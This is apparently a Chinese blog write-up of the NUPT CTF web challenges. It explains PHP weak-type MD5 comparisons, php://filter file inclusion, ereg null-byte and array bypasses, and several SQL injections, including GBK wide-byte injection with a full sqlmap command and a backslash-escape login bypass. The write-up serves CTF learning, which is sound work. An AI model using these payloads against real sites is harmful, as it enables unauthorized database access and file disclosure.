南邮CTF-WEB(在更)

这篇博客详细介绍了南邮CTF比赛中的WEB题目,包括签到题、MD5碰撞、PHP弱类型比较、文件包含、SQL注入等多个挑战。作者通过分析题目,分享了解题思路和技巧,如利用PHP的0e开头弱类型比较、GBK注入、ereg函数绕过等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

签到题

key在哪里?
在这里插入图片描述

md5 collision

在这里插入图片描述
php弱类型比较 0e开头的值全相同

签到题2

提示输入口令,但是发现只能输入10位,修改长度

在这里插入图片描述

这题不是WEB

在这里插入图片描述

保存图片,winhex打开

层层递进

这题太狗了,这谁能想得到

在这里插入图片描述在这里插入图片描述

AAencode

在这里插入图片描述
查看源代码可能有乱码,是编码问题,改一下编码
火狐在这里改
在这里插入图片描述
其他浏览器啊帖链接
浏览器改编码
直接在控制台里运行
在这里插入图片描述

单身二十年

在这里插入图片描述
抓包发现中间有一个php,直接看响应

php decode

给了代码,将eval改成echo,直接拿flag
在这里插入图片描述
这里贴另一个帖子,eval改echo不成功的解决方法(与本题无关)
传送门

文件包含

看到这个URL file=是文件包含
在这里插入图片描述
文件包含

XXXXXXXX?file=php://filter/read=convert.base64-encode/resource=xx.php

在这里插入图片描述之后base64解密
在这里插入图片描述
解码得flag

单身一百年也没用

这次有一个index.php flag就在响应里
在这里插入图片描述

Download~!

这题挂了

COOKIE

将cookie里的login改为1
在这里插入图片描述

MYSQL

首先是这个页面
在这里插入图片描述
我们都知道robots.txt反爬虫目录,进去看看
在这里插入图片描述
一个简单的代码sq1.php
get方法上传id
intval是取整数的函数
id=GET[id]的整数部分
然后在数据库里查询id
下面有一个
在这里插入图片描述
过滤了GET[id]=1024,于是我们猜flag就在id=1024里

现在id是GET[id]的取整
意味着我们构造GET[id]=1024.1绕过
取整后id=1024
即不影响查询又可以绕过
我们试一试
在这里插入图片描述

GBK Injection

宽字节注入
单引号会被转义为\ ’
在这里插入图片描述
于是我们在前面加上%df
变成id=%df’
转义之后是%df \ '编码为%df%5c%27
%df%57会被认为是一个中文“運”
这样单引号之前的转义符号“\”就被吃调了,变成了“運’”转义失败,我们就绕过了
在这里插入图片描述

之后sqlmap跑就是了

python2 sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover -T gbksqli -C flag --dump

在这里插入图片描述

/x00

这题是ereg函数绕过进去就给源码

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

传进去一个nctf参数,要是数字,同时又要在里面有#biubiubiu,看起来好像很矛盾,但是有个ereg函数在
两个方法
第一个
%00截断,ereg函数解析到%00时会自动认为字符串已经结束,所以就能绕过第一个检测同时符合第二个了
在这里插入图片描述
第二个
传入数组,因为ereg处理数组会报null,第一个判断为假,所以刚好绕过了,而且strpos检测的也是报null,不等于false,也绕过了,就能出flag了
在这里插入图片描述

bypass again

很简单的弱类型比较,去找两个MD5值都是0e开头的字符串赋值给a,b
贴一个别的师傅总结的弱类型总结
在这里插入图片描述

SQL Injection

首先看源码


<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
        if(get_magic_quotes_gpc()){
                $str=stripslashes($str);
        }
       return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
       die('Invalid password!');
}
echo $flag;
-->

首先看这个clean函数

function clean($str){
        if(get_magic_quotes_gpc()){
                $str=stripslashes($str);
        }
       return htmlentities($str, ENT_QUOTES);
}

get_magic_quotes_gpc()判断magic_quotes_gpc是否打开的
当 magic_quotes_gpc 打开时,所有的 ‘ (单引号), ” (双引号), (反斜线) and 空字符会自动转为含有反斜线的溢出字符。
如果打开了,用stripslashes()删除反斜杠
其实想一想会发现这两句的效果就是不转义。。。。。
实现转义的其实是下面这个函数
htmlentities()
[外链图片转存失败(img-YefOjcuO-1563720454617)(en-resource://database/585:1)]
这个函数的返回值是htmlentities($str, ENT_QUOTES)
也就是转义单双引号

简单测试一下

<?php
function clean($str){
        if(get_magic_quotes_gpc()){
                $str=stripslashes($str);
        }
       return htmlentities($str, ENT_QUOTES);
}
$str=@clean((string)$_GET['x']);
echo htmlentities($str);
?>

当我们输入x='和x="
在这里插入图片描述
好的现在单双引号没用了

继续看

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
       die('Invalid password!');
}
echo $flag;

4-7行是连接数据库操作,不用看
前两行是获取两个变量username和password并转义单双引号
我们看这个查询语句

SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';

\是转义字符
所以我们可以将这个语句变成这样

SELECT * FROM users WHERE name='.$username.' AND pass='.$password.';';

我们要做的就是让这个语句返回值为1
查询语句以往都是构造例如admin’ #这样的
但这题把引号都转义了
只能换另外的思路
(看大佬们的 )
我们这样构造?username=\ &password=or 1 %23
%23是#的url编码
我们将两个值放入查询语句里

SELECT * FROM users WHERE name='\' AND pass='or 1 %23';';

这样就把name后的第二个单引号转义了
查询语句变成了

SELECT * FROM users WHERE name=' AND pass='or 1 %23';';

name的值变成了AND pass= 后边跟着or 1
返回值就变成1了

其实有个问题没搞懂
就是为什么要用%23而不是#
这是用%23时的url
http://chinalover.sinaapp.com/web15/index.php?username=&password=or 1 %23
这是用#时的url
http://chinalover.sinaapp.com/web15/index.php?username=&password=or 1 #
应该是url编码的问题
用post的话用#就可以,但这个题是get

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值